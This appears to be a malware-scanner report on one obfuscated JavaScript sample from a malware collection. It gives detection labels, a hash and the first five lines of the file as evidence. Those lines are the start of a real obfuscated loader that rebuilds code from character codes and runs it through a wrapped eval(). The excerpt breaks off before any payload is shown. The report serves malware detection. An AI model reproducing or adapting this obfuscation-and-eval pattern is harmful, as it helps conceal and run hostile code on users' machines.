Suspicious ^80% javascript-malware-collection Download

20151208_a2331a9c29ca6f2e48872a906f8444a4.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256ecef9e3fa8bbf41f21e977d19b15ec077e5c0da03e9c325319808f49fee456ea

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var pQLQIcjtfwXDc=[];for(HNswulI=(-2+2)/87;HNswulI<(84076+404)/660;HNswulI++){pQLQIcjtfwXDc[HNswulI]=String.fromCharCode(HNswulI)}function gTCcv(knwrCCkUize,VezDdBziRrECC,LQylNvNa){CnwC=parseInt(knwrCCkUize,VezDdBziRrECC);jejhE=CnwC.toString(LQylNvNa);return jejhE;}function jgkRFKovtQjUiDp(nEkPOaktLUSqfubnl){eval(nEkPOaktLUSqfubnl)}
2function DhzTRRuGxwxIsuOOOOBBfRvoYsInYfCceYvrBpiitFNHWGRnQOPGTg(vsOpxIOHCIiCO,RJyRguodfDPdAD){ return pQLQIcjtfwXDc[gTCcv(vsOpxIOHCIiCO[RJyRguodfDPdAD],(3540+150)/369,(442+108)/55)];}
3function gaJdNIe(oDDknfdMHHHDQlRxCmrwbCxxvbhHEYpLYMwe) {return !isNaN(parseFloat(oDDknfdMHHHDQlRxCmrwbCxxvbhHEYpLYMwe)) && isFinite(oDDknfdMHHHDQlRxCmrwbCxxvbhHEYpLYMwe);}
4function WodcUXysCtj(MxrKsbAF,KSDcon){return MxrKsbAF.split(KSDcon)}
5var p=[];p.push("13");p.push("10");p.push("13");p.push("10");p.push("118");p.push("97");p.push("114");p.push("32");p. …